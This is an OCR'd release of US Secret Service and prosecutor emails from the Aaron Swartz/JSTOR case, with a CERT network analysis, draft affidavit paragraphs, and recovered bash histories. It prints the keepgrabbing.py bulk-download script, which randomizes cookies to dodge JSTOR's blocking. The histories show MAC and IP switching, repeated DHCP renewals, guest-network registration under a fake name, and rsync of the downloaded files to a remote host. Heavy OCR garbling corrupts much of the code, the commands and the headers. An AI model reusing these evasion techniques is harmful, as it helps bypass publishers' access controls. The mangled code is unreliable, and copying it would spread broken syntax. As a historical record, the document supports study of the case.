
wget -x -hv -n¢ - “furistograb.wget -

more analysis.oxfordjournals.arg/content/35/3/97 full. pdf
wget -x -nv -ne -i ~/uristograb.wget

mkdir sd

cd sd

wget -m -np “http:/lwww.sclencedirect.com/sdence/page/sitemap/index.html”
wget ~header="User-Agent: WL/6" -m -np "hitp://www.sciencedirect.com/science/page/sitemap/index,htmi”
wget —header="User-Agent: WL/6" -m -np "http://www.sclencedirect.cam/sclence/page/sitemap/index.hte!”
wget -¢ robots=off ~headers"User-Agent: WL/6" -m -np
“hitp:/ fwww.sciencedirect.com/science/page/sitemap/index.ntmi”
is

d www.sclancedirect.com/science/page/sitemap/publication/
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Is
cd secialf
Is

¢d journals/

Is

emacs ~/sis

chmod +x ~/fsls

~fsls | less

~/sls. | less

more 17509467 .btml
15 0242648X

1s 0242648X/24

is 0242648%/24/3
more 0242648%/24/3/243.htmi
python

fg

mkdir /volfsd/jo
fe

cd

fg

python

is

¢d umi

s

python

fe

more keepgrabbing.py
cd fval/

Is

mkdir pdfs

sudo mkdir pdfs
sudo chown ghost pdfs
cd pdfs/
~/keepgrabbing.py
cd ..
~{keepgrabblng.py
8
~/keepgrabblng.py
dids

fg

python

pwd

Is

cd ~fumi

python

fg

python

is 1000000 .htmi

g

more 128214.htmi
more 128213

less 128204.html




less /vol/umi/128204.html
links /vol/umi/128204.html
python

Is-lh

is blocks | we -

python

is *dbm

fg

Is

more deleteandgrab
split-a 5 -4 1000 deleteandgrab blocks/regrabe
Is blocks/|we-I

cd blocks/

Is | less

is | tail

¢d.

fg

Is /it

df

1s /media/drive

fg

tinks hutp://caliber.ucpress.ne t/dol/pd?/10.1525/as.2010.50.5.835
Is

rm pi-salmela.pdf

curl "http://portal.acm.org/ft _gatewav.cfm?idal187439&typezpdf&CFlD:lSSUZ&CFTOKEN=55059171"
curl -i *http://portal.acm.org/ft_gateway.cfm?ld=1 187439&typespdf&CFID=15902& CFTOKEN=55059171"
curl 4 "http://portal.acm.org/ft _gateway cfm?id=1187439&type=pdf"
curl -1 "http://portal.acm.org/ft_gateway.cfm?7id=11374 39&type=pdf"|less
Is

more serveblocks.py

emacs serveblocks.py

more keepgrabbing.py

Is fvol

~/sls fvol uml > umi.sls

more uml,sls

~fsis fvolfumt > umi.sls

~/sis fvolfpdts > pdfs3.sis

Is -IR fvol > js3.IsR

more j53.JsiR

Is -IR Avoif > Js3.4sIR

more js3.IsIR

we - js3.JsiR

echo -n me@aaronsw.com|mdSsum

af

ps ax

df

mount /dev/sdc/vol

od /vol

Is

¢d /media/

is

is |
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ron drive

sudo rm drive
sudo mkdir drive
sudo mount /dev/sde drive
sudo mount /dev/sdel drive
cd drive

Is

df

fd -h

df -h

mkdir pdfs

sudo mkdir pdfs
sudo chown ghost pdfs
f;
~/keepgrabbing.py
¢d /media/drive/pdfs
more 3590725.pdf
less 3697650.pdf
less 30072010.pdf
less 60244678.pdf
fess 3523970.pdf
less 3548593 pdf
less 3523645 pdf
less 3813153.pdf
less 3838338.pdf
less 3279339.pdf
less 1888323.pdf
{ess 688560.pdf
less "234,.pdf"
less 742572.pdf
less 30058803.pdf
Jass 2023815.pdf
more 2023815.pdf
cd
~/keepgrabbing.py
fg

Is

cd pdfs

Is

df -h

cd /vol/
~/keepgrabbing.py
cd ..

cd vol
~/keepgrabbing.py

[oxortic) B
U.S. Secrat Service
Boston Fleld Office

Wi} i K}
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[ErE.EN7NC) 1(CID)

From: [EXBLENTHC) (808)
Sent: Monday, July 18,2011 3:60 PM

To: (bXB).(D)7HC (Clng)geg.gb)m(c; JCI0)
Subject: . AdIor ttz--Inilal Appeara

t may need to leave the training for some time tomorrow morning

U.S, Secret Service
Boston Field Office

(R (BYTH |

From: Heymann, Stephen (USAMA) [mailt RIGLENTNC)  Iusdol.gov]
Septs 2011 3:22 PM

To|®NEMBXTNC) | (80S)fIB)BLMLITHC) _|Bcambridgenclice.org

Su s Aaraon swartz--[nitial Appearance

Aaron Swartz Is scheduled for his intial appearance before Judge Dein at 10:00 a.m. tomorrow (if he surrenders himself
before then). | hope you both will be able to be there. Steve
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ENEIBY7HC) (CID)
B o e s

From: (ICXCAT I ()

Sent: Nadnesday Morch 16, 2011 1:28 PM
To: (b)B).(BY7NC)  |(CID)

Subject: G * Feedback from MIT case
No 8E letter is necessary

|(b)(6).(b)(7)(C) I

Sent from Blackberry

From: Heymann, Stephen (USAMA)[DX(6).Y7HC) __ Pusdol.gov>
To BIBLNCL_1505)
Sent: Wed Mar 16 13:25:45 201}

Subject: RE: CID/CERT: Feedback from MIT case er A
(b)3) Rule 62 (b)(5)

EronlBIBBITIC — }80S) [malitcfPRELONTNC) husss.dhs.gav)
Sent[-wmmmv—wmm]l. . 6, 2011 1:13 PM

To: Heymann, Stephen (USAMA)
Subject: Fw: CID/CERT: Feedback from MIT case

Question from CERT

(b)@)(LX7UC)

Sent froin Blackbery

----- Original Message -----
Frﬁ.n@lm
TA(BUBY.(LUTHC BOS)

Sent; Wed Mar 16 13:10:51 2011

Subject: CID/CERT: Feedback from MIT case

ANYa
The guys here have some a report for you. However, their supervisar needs to review it before it goes out,

Should we add him to the Ge?

His name [(DY6).(BY | He is title {(B)(B).(BX7NC)___lfor the Digital intelligence and Investigarions Directornte. He has the same
address aslby(RY YZVCY ]

Al he is doing is reviewing the report.

hapks
(LYB).DATHC)

Spectal Agent
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[EX8).BX7HC) 1(CiD)
[(B)8).EXTNCY (BOS)

From:

Sent: er 13, 2011 10:06 AM
Toz (0)(6).(b)(7XC)_ICID){(BXB).(BYTHE)
Subject: FW: Discovery Liat

Please see belaw:

(b)(8).(bX7XC)

U.S, Sccret Service
fosion Fi fTice
b)(E).6XD) ]

From: Heymann, Stephen (USAMA) (malli{(B)YBY.E)NTHC) __[Busdol.gov)

Sept: T r 13, 2011 8:55 AM
Tol(b}6).(bK7)C) BOS)

Ce{b)(BYL.(BUTNC ambridaenalice.org
Subjeck: Discovery List

per EOUSA

(bX5)

5. Either you omill pick up the drives contalning coples of MIT's material logs trom‘ “’"",’c":""‘ "]

Thanks, Steve
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b){8).{(b}7){C
(B)(B).(bX7)C) (CID)
From: Fb)(ﬁ).(b)('/)(C) (BOS)
Sent: Monday, N_vamlEar 07, 2011 6:50 PM
To: (b)(8).(bYTHC) __EID)
Ce¢: (h)(6),{b)7)(C) cambridgepolice.org
Subject: Tw. Imporant CERT Request
I(b)(G).(b)(V)(C)
Sent from Blackbenry

From: Heymann, Stephen (USAMA) [maill{(B)(6).(E)7XC)  JPusdaluuv]
Sent: Monday, November 07, 2011 0620 PM
Tal(b)(6).{bX7}C) (BOS)

Subject: Impartant CCRT Request per EOUSA

(b}(5)

Thank you, Steve
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(D)(B).{EXTHC)

(CID)

From: 1{b)(8),(b)7XC) ] (BOS)
Sent: Crid 08, 2011 11:12 AM
To: (EXB).(b)7)C)  |(CID)
Subject: W Please cantirm with Cert

Please see below: We are preparing to take the Swartz case to indictment and Heymann wants to double check that
everything is exactly accurate. Do you agree with the paragraphs below?

[R)E).BXTHCY |
t).S. Seeret Service
Bostun Field Office

From: Heymann, Stephen (USAMA) [mailt{{(LX6).0)7)C)  Pusdolaey)
Sent: Friday, July 08, 2011 10:50 AM

To{(b){6).(b}{7)XC) BOS)

Subject: Please confirm with Cert

Please confirm with Cert, today If at all possible, that our summary of the facts in these two paragraphs are an accurate
summary of their preliminary findings. Thank you.

From: Heymann, Stephen (USAMA)
Sent: Friday, July 08, 2011 10:19 AM

To: [()(6).ib)7HC) Pusss.dhs.goV

Sub)H oasepa the forensic reports that reflect these facts

26.  On February 24, 2011, the Court issued warrants to search the Acer laptop, Western Digital hard
drive and the HP USB drive. As a result of these searches, [ um aware that the MAC address assigned by the
manufacturer to the ethernet interface card on the seized Acer laptop is 00:23:5a:73:5f.{b, the same as the
“ghost laptop” which connected to the MIT network in September, 2010. On the Acer laptop was a software
application entitled “keepgrabbing.py”, which was designed to downloud .pdf files from jstor.org.” In addition
to those described in footnote ___, above, JSTOR's terms and conditions of use explicitly prohibit users from
attempting to circumvent software protections employed in the JSTOR platform. The implementation of
keepgrabbing.py was designed to avoid JSTOR's efforts to spot and prevent serial downloads of the size here.
The spplication would download the .pdf files frora JSTOR to a file directory named “pdfs”. The USB Drive
found in Swartz's backpack contained a file “keepgrabbing2.py”, with a script very similar to that contained in
the Acer laptop. The Western Digital hard drive, which was recovered with the Acer laptop, had Aaron Swartz's
fingerprint on it. The drive contained a folder named “pdfs” which contained an estimated over 97,000 .pdf
files. A spot check of approximately a dozen of these files reflected that each was a JSTOR digitized journal
article.

27.  Alogging file on the Acer laptop, known as the .bash_history file, showed an attempt to submit
a computer or user name “Grace Host” and e-mail address ghost42(@mallinator.com to the registration form at
10.72.,0.47:444/bin/dynreg. This nctwork address was associated with guest registration on the MIT network
before the laptop’s seizure In Januacy, 2011, The .bash_history file also reflects that on an unknown date the
contents of the “pdfs™ directory was copied to a folder named “/vol/pdfs” on another computer accessed
through the DynDNS registered record? DynDNS is a method of tying a specific hostname (such as “ghost
macbook™) to a computer that could have a dynamic or changing IP address (such as a home computer on

Comeast’s cable network). for “ghost macbook.
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I(!:)(S),@bi(?)(cm’er Usss kClD)

From:. [{b}(6),(BX7NHC).Per U },BOS)

Sent: Tuesday, May 10, 2011 2:55 PM

To: {b)(8) (bX7)

Ce: (C),Per USSS  ICID)

Subject: FW. Potential Additional Paragraphs for the Seizure Warrant Affidavit
Attachments: USSs03_CERT-Analysis.zip

| was wondering if you might be able to help me with the questions below specifically:

(EXELON T CYLPer ]
U.S. Secret Sezvice

ston Field Oftice
(B)OG)LOAT)
From: Heymann, Stephen (USAMA) [mailtd{b}(8),(b)(7){C} Per iy

Sent: Tuesday, May 10, 2011 8:14 AM
To{(b){6).(b)(7)C).Per kBOS)
Cel(b)6).(BY7NC),Per_mbvidgenolice.org

Subject: Potential Additional Paragraphs for the Selzure Warrant Affidavit

Per EQUSA

(bX(3)
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(b5}

Thank you, Steve

(]

Per EQUSA
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(b)B).EUTHC) (CID)

From: [EXELENTNC)  1BOS)
Sent: Monday, November 07, 2011 6:02 PM
To: UGLBYTUCY  LICID)
Ce: (b)(B).(EXTHC) cambridgepolice.org
Subject: eads up

(b)(5)

(b}6),(BY7XC) |
Sent from Blackberry

From: Heymann, Stephen (USAMA) (mailto{(B)(8).(b)7)C)  pusdoj.gov]
Sent: Maonday, November 07, 2011 04:26 P
Tol[B)B),BN7}C 8OS)

Lambridaenolice.org(PXBYBX7XC) (USAMA) (E)(8).(bX7NC) jusdol.goy>

C
Subject: RE: Swartz Evidence

We need to produce 8 mirror image of:

{1) The Acer

{2} The iMac seized at Harvard

{3) The drive seized at Harvard

{4) The USB drive selzed from the backpack

{5} The iogs sent over from MIT

{6) The USB drive seized from the apartment
We do not need to have a computer loaded with forensic software at this juncture. We are going to object to producing,
at this time, the drive that was selzed from his wallet if, as | remember, it was encrypted. Am | missing any electronic
storage device? Swartz has sent over a 750gb drive. Let me know if you need a second on which to store the images
and, if so, how large.

Since they cannat be usefully mirrored, as | understand it, we need to make the seized cell phones avallable to the
extent they were not encrypted In a form that will not permit their alteration. Let's discuss the options for doing this.
We have tentatively scheduled the production of these, along with the other things seized from the apartment, for
November 21/22.

From[®XE.BXNC) _ |(B0S) (ait{ibIE) BITIC)_Pusss.dbs.gov]
Sent: November 07, 2011 3:23 PM

Tq("f’@:”b) Icgwm_brwgemﬂggm

Cc: Heymann, Stephen (USAMA)

Subject: Re: Swartz Evidence
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l(b)(B),(b"('/)(C) (CID)

From: {(B)B)(BNTHC) (BOS)

Sent: Nednesday March 02, 2011 6:09 PM
To: [(BYB)NZNC) JuSAMAY

Ce: (B)(B).(bHTNC) CID).—)_—(D)(S).(b)U)(C)' |
Subject: keepgrabbing

FYI

Below was a script that was found at [root\home\ghostikeepgtabbing py

#Yusribin/python
import subprocess, urllib, random
class NoBlocks(Exception): pass

def getblocks():

r= urllib.urlopcn('grgg'_)._n‘-ml()
if '<html’ in r.lower(}: raise NuBlocks

return r.splitQ

import sys

if len(sys.argv) > 1®

prefix = [--sacksS5', sys.orgv(1]}

else:

prefix = [}#'- .interface’, ‘eth0: 1"}

line = Jambda x: ['curl'] + prefix + [-H', "Cookie: TENACIOUS=" + su(random.random())({3:], -0', 'pdfs/ +

str(x) +.pdf, “hitp:/www istor.ory/stable/pdiplus/” + str(x) + *.pdf?acceptTC=true"]
while 1:
blocks = getblocks()
for block in blocks:
print block

subprocess.Popen(line(block)). wait()

I(b)(6),(b)(7)(C) ]
1.5, Secret Service
Bosion Field Office

2776



[B)8).BK7HC) lcip)

From: Heymann, Stephen (USAMA) [(DB)BXTHC) — Yisqoj gay)
Sent: rSamday_Eahumf , 2011 724 A
To: (EXB).(h)X7)(C) (soo)l(b)(s) (EX7XC)_]CID)
Subject: botion for Grand Juty Disclostre
Attachments: JSTOR Memorandum in Support of 8e Disclogure.pdf
(E)(6).(bXT)C)
<<JSTOR Memgrandum In Support of 8e Disclosure. pdf>> Iper EOUSA ]

(b)(3).Rule 6E.(b}5).(b)8).{bXTXNC)

Thanks, Steve
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ENBY.NTNC) l(ci0)

From: [(0)(6).(b)7)C) Tdcert.org)

t . 2 16, 2011 10:66 FM
o [BY6LONTNCT 50S
Ce: (b)(8).{K7)C) lD)
Subject: ralfic to and from laptop - MIT

FE]

Just wanted to let you know that[(d)(8).(E)(THC) pnd I have analyzed the collection of PCAP logs
you sent us from the MIT case. There were o number of questions from Steve Heymann that we

wanted to get back to you on.

For the period in which the network traffic was collected in the PCAPs, you can clearly see a
system that uses the MAC address 80:4C;E5:20:C7:56 (and uses several IPs over the course of
the capture) actively downloading from the JSTOR system via HTTP.

We believe that it is the same machine used these IPs, not just because they mapped back to
the same MAC address, but also because an OpenSSH server was listéning on port 22 on the IPs
with the same host-identifier key. The connection banner from this OpenSSH server states that
it is running on an Ubuntu Linux system,

Considering the volume of data downloaded, we don’t see any equivalent volume (or even
remotely equivalent volume) transferred from the target system to another system, Unless such
a transfer occurred outside the period of the network capture, it would be reasonsble to
assume that the downloaded data was being stored locally on the system, rather than forwarded
to other computers.

There are some remote connections via S5H to the target system that appear sustalned enough
to represent a meaningful interaction (rather than password- guessing attempts and the like).
These connections are all from the IP address

on the MIT network, which you identify as a "dial-in" server on campus. Are
connection logs to this machine available?

Othar than the 5SH sessions noted, the PCAPs contain no other traffic to the target system
that conforms to0 conventional remote administration services. In addition, we found no
indication of unconventional control channels.

The remaining questions ralsed, such as the nature of the program driving the downloading,
will probably be answered by an examination of the Acer laptop.

Please let us know 1f we can provide more information, including specifics about any of the
activity 1 have described.

B¢ regards,

(b)(8).(BXT)
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[EIELBNTHC) kcip)

Fram: Heymann, Staphen (USAMA[B)X8).(b}(7)C)  {Rusdo}.gov]
Sont: E ahtuary 25, 2011 10:10 AM
To: BY6).LYINC)_kciD)

Subject: RE: Aaron Swartz Case

Thank you.

FroCID) [mailtlBIELOXTN Busss dhs.gov]
Sent: Friday, rebruary 25, 2011 10:03 AM

To: Heymann, Stephen (USAMA)

Subject: Re: Aaron Swartz Case

(EI6.E)]
I'm walking to our lab now. | will get the requested information to you as quickly as | can.

hed e

(B)B)LENTHC) b

pecial Agen
et S

3, Secr
{b)(8),{bX7XC)

From: Heymann, Stephen (USAMA{R)B).(EX7)C) Pusdot.aov>
TqR)(6).(b)(7)C) |(CID)

Sent: Fri Feb 25 10:01:05 2011
Subject; Aaron Swartz Case

Can you please send me one paragraph describing[FFGR7ICT_|'s areas of expertise and who he ls employed
by? LikefEIEIT]is he employed by CERT which then has a contract with secret Service or like you Is he an
agent. Also, has he previously handled grand jury material in other criminal investigations in other districts?

Thanks, Steve

All e-mail to/from this account is subject to officlal review and is for official use only. Action may be taken in
response 10 any inappropriate use of the Secret Service's e-mail system, This e-mail may contain information
that is privileged, law cnforcement sensitive, or subject to other disclosure {imitations. Such information is
loaned to you and should not be further disseminated without the permission of the Secret Service. If you have
received this esmail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
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[E@ @) (CID)

From: Heymann, Staphen (USAMA}{(b)(6).(b}(7XC)  J@usdoj gov)
Sent: Monday, July 11, 2011 1,14 PM

To: [T Ci0) .

Ce: li(b)(s).(b)m(C) (BOS){(DXBLINT) | (USAMA)
Subject: T

You're awesome. 3:30 would be great. Steve

From{BXELOXINC)_1I0) [mailtd(B)EYBX7IC huss
Sent: Monday, July 11, 2011 1:11 PM

Co PO ERIIC) ](80S) [BIETERTIC s

Subject: Re: Aaron Swarlz

All:

Will 3:30 PM today work for everyone's schedules? We will reserve the CERT telsconfarence line and distribute the call-in
numbet If the ime is amenable.

(D)(8),(bX7)C)

Spatial Agent
U S _Secret Sgrvice

{L)B).{bY7XC) [Desk)
Mobils)

A12-268-5228 (Fax)

From: Heymann, Stephen (USAMA)[(B)(6).(B)(7)C) Busdol.gov>
To(b)(8).{b)7HC |(CID)
Cel{BYB)(BYNIC) 1(805)!(1»(6) (BX7)C) J(USAMA) [B)(6).[BXTHC) B
Sent: Mon Jul 11 12:57:51 2

Subject; Aaron Swarkz

(b)5)

Many thanks, Steve

All e-mail to/from this account is subject to official review and is for official use only, Action may be taken in
response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information

1
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[E)XB)BR7HC).Per USSS— 1(CID)

From: [(b)(8).{e)(7)(C),Per USPcert.org)

Sent: Nednesday, M 09, 2011 8:56 AM

To: (b)(6),{b)X7)(C),Per U FBOS

Ce: TDHEYEY.(B)TNC),Pe ]

Subject: spl g k aTy bf Acer involved with MIT hack and downloading from JSTOR

Do you hava some tima today that we can go avar the questlons you have on the bash histary fisted balow and keepgrabbing gython script?
(B)(8).(b)

Eron{(b)(6).{b}7HC),Per USSS  |@usss.dhs.gav>
Date: Tue, 8 Mar 2011 17:24:05 -0500
To{(B)6),(BY7XC).Per US Peert.oig>

Subject: Fw: bash history of Acer involved with MIT hack and downloading from ISTOR

(b)6).(b)(7)

pecal Agen

U.S. Secrat Service

(b)(6).(b)7)  |(Desk)
l{C).Per USSS |(Mobila)
412-268-6226 (Fax)

Fram|(b){8).(b)(7)(C).Per [BOS

T& C), FioYb)6).(e)(Jecert.org' [BYEL B Poertorg>

Sent: Tua Mar 08 17:21:53 2011

Subject: Fw: bash history of Acer involved with MIT hack and downloading from JSTOR

would anyone have time available to halp me dscipher the bash history for proof of Mac spoofing and interpret what the
script keepgrabbing.py doea?

[(b}G).{bX7)(C),Per |

Sent from Blackbsrry

From{(B)(8).(bX7)(C),Per YBOS)

To: ‘Heymann, Stephen (USAMAY [(B)(6).(b)X7)C).Per fusdel.qov>
Ccl(b)(8),(bX7)C). |CID)
Sent: Wed Mar 02 17:31:13 2011

Subject: bash history of Acer involved with MIT hack and downloading from JSTOR

Yl

The bash history of the Acer that was connected to the MIT network has references to the python script keepgrabbing
and JSTOR:

cat bash_history
rm _.bash_history
screen -X

uptime
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df-h

Is fmnt/pdfs/{wc-)

ts -f /mnt/pdfs/ | we -I

screen <X

cat .hash_history

Is

cat .ssh/known_hosts

whois ygl.as

uptime

curl www.jstor.org

links www.jstor.org/stable/838383
is

mv 838383.pdf /mnt/pdts/

screen -r

screen -x

curl jstor.org

curl -l wwww.jstor.org

curl -i www.fstor.org

sudo ifconflg wianQ down

sudo dhdient -re

sudo dhclient -r

sudo ifconfig ethO up

sudo dhclient

cucl -l www jstar.org

curl scripting.com

/sbinfifconfig -a

curl scripting.com

ping 4.2.2.2

cat /etc/resolv.cont

sudo dhclient -r

sudo dhclient

ping 4.2.2.2

cat /etc/resolv.conf

curl scriptng.com

curl www.google.com

curl -i www.jstor.org

/sbinfifconfig -a

ping ghost-laptop.dyndns-free.com
ps ax { grep Ip
Jetc/init.d/ez-ipupdate
/etc/init.d/ez-lpupdate reload
sudo /ete/init.d/ez-Ipupdate reload
ping ghost-laptop.dyndns-free.com
dig ghost-laptop.dyndns-free.com
dig @nsi.dyndns.org ghost-laptop.dyndns-free.com
sudo /ete/init.d/ez-ipupdate restart
dig @ns1.dyndns.org ghost-laptop.dyndns-free.com
ez-ipupdate --help

ez-ipupdate ~help|less

sudo ez-ipupdate

sude ez-ipupdate - eth0

more fetc/er-ipupdate/defauit.conf
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ez-ipupdate ~help|less

sudo ez-ipupdate -¢ fete/ez-ipupdate/default.conf
sudo ez-ipupdate -vwv < fetc/ez-ipupdate/default.conf
ez-ipupdate --help{less

sudo ez-lpupdate v -¢ /etc/ez-ipupdate/defauit.conf -l ethG
sudo ez-lpupdate -¢ /etc/ez-ipupdate/defauit.conf -{ ethO
dig ®ns1i.dyndns.org ghost-laptop.dyndns-free.com
Is /mnt/{wc-l

cd /ont

Is

ps ax } grep touch

ps ax | grep seq

touch 1

Is

touch 2

seql120

seq 1 20 | xargs touch

is jwel

saq 1 2000000 | xargs touch

Is | we -l

Is ) less

Is | we -l

ps ax | grep bash

w

who am |

kil 3658

kil -9 3658

mkdir pdfs

cd pdfs

~[keepgrabbing.py

emacs /home/ghost/keapgrabbing.py
zile /home/ghost/keepgrabbling.py
~{keepgrabbing. py

touch foo

rm foo

cd ..

~/keepgrabbing.py

cd /mnt

Is

m*

Is

cd pdfs

ls

od

is

python serveblacks.py

python serveblocks.py 8092

bg

fg

ps ax | grep serve

kiil 2461

ps ax | grep serve




python serveblacks.py 8092
bg

Is /mnt

Is /mnt/pdfs

Is - /mnt/pdfs/

cd
ghoma-screensaver-command --activate
s

ps ax | grep curl

ki 13047

curl www,jstor.org
dhclient —help

sudo dhcllent
bwm-ng

Is blocks/jwe -1

df-h

{inks www.Jstor.org/stable/873098
bwm-ng
ghome-screensaver-command --activate
Is blocks/|we -
bwm-ng

Is blocks/jwe -
uptime

bwm-ng

df -h

Is blocks | we-l

bwm ng

sudo umount /mnt

daf

screen -x
~fkeepgrabbing.py

cd /mnt/
~fkeepgrabbing.py

]

cd /mnt/
~/keepgrabbing.py

od /rnt/
~fkeepgrabbing.py

0

cd /mntf
~/keepgrabbing py
bg; ~/keepgrabbing.py
cd /mntf
~/keepgrabbing.py

bg

bg; ~/keepgrabbing.py
cd /mat/
~/keepgrabbing.py

bg

~/keepgrabbing.py

bg

~/keepgrabbing.py

[rR1F |
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E?keepgrabblng.py
Et?lteepgrabblng.py
E)‘gkeepgnabhlng.py
Sékeepgrabblng‘py
2?keepgrabblng.py
gzxepgrabbtng,py
bskeepgrabbmg.py
:é /m:;rabblng.py
E/?::::pgmbblng.py
E?llte bbing oy
~fxeepgra

ng.py

fkeepgrabbing.p

~ |
/keapgrabblng.py

-pY
b?keepgrabblng p
b?keepgrabblng.py
bg

/keepgrabbling.py
b?keepgrabbing.py
bgk epgrabbing.py
-., e
iy /f:gabbtng-py
~/ke
cjk/tame:;{abblng.w
: /'::;/rabb{ng.py
~fke

/k/mm/ bing.py
iy epgrab
'“/ke t/
cgk{s’::gmbung.py
Cdl{rzg;/rabb{ng.py

-PY
AN bbing
~/ke§:§::bbing.pv
~/ke
ctjik /mnt/




~/keapgrabbing.py
¢d fmnt/
~{keepgrabbing.py
cd /ont/
~/keepgrabbing.py
cd foont/
~/%eepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~fkeepgrabbing.py
cd /mnt/
~fkeepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/

~ /k
~/keepgrabbing.py
cd /mnt
“fkeepgrabbing.py
cd /mnt
~/keepgrabbing.py
cd /mny/
~/keepgrabbing.py
~/keepgrabbing.py
cd /mt

cd /mnt/

cd /mt
~/keepgrabbing.py
~/keepgrabbing.py
<d /mnt/
~/keepgrabbing.py
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
~/keepgrabbing.py
cd /mnt/
~fkeepgrabbing.py
~{keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
“/keepgrabbing.py
od /ant/
~/keepgrabbing.py
~/keepgrabbing.py
cd /mnt/
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~fkeepgrabbing.py
~keepgrabbing.py

cd /mat/

~fkeepgrabbing.py

cd /mot

~/keepgrabbing.py

screen -

screen -X

uptime

df-h

screen ¢

screen X

e

uptime

bwm-ng

df-h

scraen x

ps ax | grep curl

ps ax | grep keepgr | awk '{print $1}' | xargs kill
ps ax | grep curl

ps ax | prep gr

ps ax | grep curl

df-h

/sbin/ifconfig -a

sudo ifconfig eth0:1 static 18.55.7.49
cud --{nterface eth0:1 www jstor.org
cutl ~Interface eth0:31 www.google.org
rsync -ave pdfs/ ghost-macbook.dyndns-free.com:/vol/pdfs
screen r

screen -X

python

sudo easy_instail pyoal

sudo apt-get install python-ixml
sudo easy_install pyoal

python

sudo easy_install ~remove pyoal
easy_install ~help

easy_install -helpjless

sudo easy_instail ~remove pyoal
python

sudo easy_install pyoai

cd Juse/local/lib/python2.6/

is

Is site-packages/

cd

Is

locote easy-install.pth

(ocate easy_install.pth

sudo easy_install pyoal

tocate epsy-install.pth

cd fusr/lib/python

Is




Is-a

¢d ../python2.6

Is

easy_install --help

easy_install --heip|less

python serveblocks.py

python serveblocks.py 8092

bg

sudo dhelient -r

sudo dhdlient

sudo dhcllent -r

sudo ghclient

sudo dhclient -

sudo dhclient

ping 4.2.2.2

sudo dhclient -r

sudo dhclient

sudo dhclient -r

sudo dhclient

sudo dhclient -r

sleep 60

sudo dhcilent -r

sudo dhclient

cd Jvol/

Is4

Is -th pdfs

easy_{nstall pyoai

sudo apt-get install python-setuptools
sudo apt-get update

sudo apt-get install python-setuptools
sudo apt-get upgrade

ez-fpupdate

sudo fetc/init.dfez-ipupdate restart
ping ghost-laptop.dyndns-free.com
/sbin/ifconfig ethO

ping 18.55.7.237

ping ghost-laptop.dyndns-free.com
sudo fete/init.d/ez-lpupdate restart
ping 18,55.7.237

ping ghost-laptop.dyndns-free.com
sudo fetc/init.d/ez-ipupdate help
sudo fetc/init.d/ez-ipupdate force-relosd
ping ghost-faptap.dyndns-free.com
more fetc/init.d/ez-lpupdate

more /etc/ez-ipupdate/default.conf
sudo less /etc/ez-ipupdate/defautt.conf
ps ax | grep ez-ip

ping ghost-laptop.dyndns-free.com
cd fvolfndfs/

Is

Is | less

python oaigrab.py
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python -{ oalgrab.py

cod fvol/

Is

cd muse.jhu.edu/

Is

cd content/oaifjournals/

Is

cd social_text/

Is

cd v017/

Is

more 17.3

more 17.3dutton.html

man wget

du -hsc /vol/*

du -hsc /vol/*

bwm-ng

is -th urlstograb.wget

grep pdf uristograb.wget

screen -x

man wget

cd fvolf

Is

wget -x-nc ~/urlstograb.wget

wget -x -nc -i ~/urlstograb.wgel
sudo chown ghost .

wget -x -nc -i ~/urlstograb,wget
wget -q -x -nc -i ~/urlstograb.wget
wget -y -x -n¢ -i ~/urlstograb.wget
screen -x

emacs calgrab.py

sudo apt-get install emacs23-nox
emacs oaigrab.py

python oalgrab.py | tee uristograb.wget
we - urlstograb.wget

grep htmi uristograb.wget | sed -e ‘t/htmi/pdf/’ > uristograb2. wget
grep pdf uristograb.wget | sed -e 's/pdf/htmi/’ > uristograb2.wget
more ucistograd

more usistograb2.wget

cd volf

wget -nv -x -nc -i “furlstograb2 wget
grep htmi urlstograb.wget | sed -e ‘s/htmi/pdf/' >> uristograb2.wget
cd

grep html urlstograb.wget | sed -e 's/htmi/pdf/' >> uristograb2.wget
cd /vol

wget -t -x -n¢ -} “furlstograb2. wget
curl muse.jhu.edu/f

finks muse.jhu.edu

screen x

cd /media/noname/

Is

cp tograb.log /home/ghost/
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ced

cd

cd blocks/

Is § we-t

¢d ..

is

mv tograh.iog blocks/

cd blocks/

more tograb.log

split -n 100 tograb.log

split --help

split --help|less

spiit -1 100 tograb.log tograb.

ls

rm tograb,*

cp /media/noname/tograb.log tograb-
split --help}less

split -a S -1 100 tograb.log tograb-
Is tograb *

we -l

Is J we -l

my tograb.iog ..

sudo dhclient —~release

sudo dhclient

sudo dhclient

sudo dhclient -t

sudo dhclient

sudo fetc/Init.d/ez-ipupdate restant
ping ghost-laptop.dyndns-free.com
/sbin/ifeonfig -a | less

ping ghost-laptop.dyndns-free.com
screen -x

sudo ifconflg ethO up

curl --interface ethO hitps://nlc.mit.edu;444/bin/d 2¢l Isitor
/sbinfifconfig -a

sudo dhclient

curl --Interface ethO https://nic.mic.edu: Mdlbln/dvngreg?c@;s-ml Qr
cat logininfo

curl ~nterface ethQ hitps://10.72.0.47; 444[bin[dyga[gg4 class=visitor
curl ~interface eth0 10.72.0.47
ping ~hel

ping -j eth0 10.72.0.47
/sbin/ifcontig -a

ping -t eth04.2.2.2

man ping

ping -1 10.2.55.1204.2.2.2

sudo ping -1 10.2.55.120 4.2.2.2
/sbinfifconfig -a | less

sudo plog -} 10.2,55.120 4.2.2.2
sudo ping -l wian0 4.2.2.2

sudo ping -1 eth04,2.2.2

ping -l eth04.2.2.3
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sudo ping -1 eth0 4.
sudo ping -l eth0 10.72.0.47
sudo curl --interface eth0 10.72.0.47

man curl

sudo cur] ~interface 10.2.55.120 10.72.0.47

route

/shinfifconfig -a

route add default gw 18.2.55.1

sudo route add default gw 18.2.55.1

sudo ping -1 eth0 10.72.0.47

echo "sudo route add default gw 18.2.55.1" >> logininfo
sudo curl --interface 10.2.55.120 10.72.0.47

curl --interface eth0 10.72.0.47

curl ~interface ethO ht m;,([;g,’lz O,ﬂ,ﬂﬂﬁjn[dyngrgg?cig;; yisitor

curl -k ~interface eth0 .72.0.47;

curl -d "class=visitor” -k --interface ethO https://10.72.0. 47 agazblnzdmgm

curl -d "classsvisitor&action=Register' -k -intarface etho

curl-d"vname-Grace+Host& vemalls mailinatar, com&actlon Re is g[&clagswisqg * -X --interface eth0

htt 10. | are

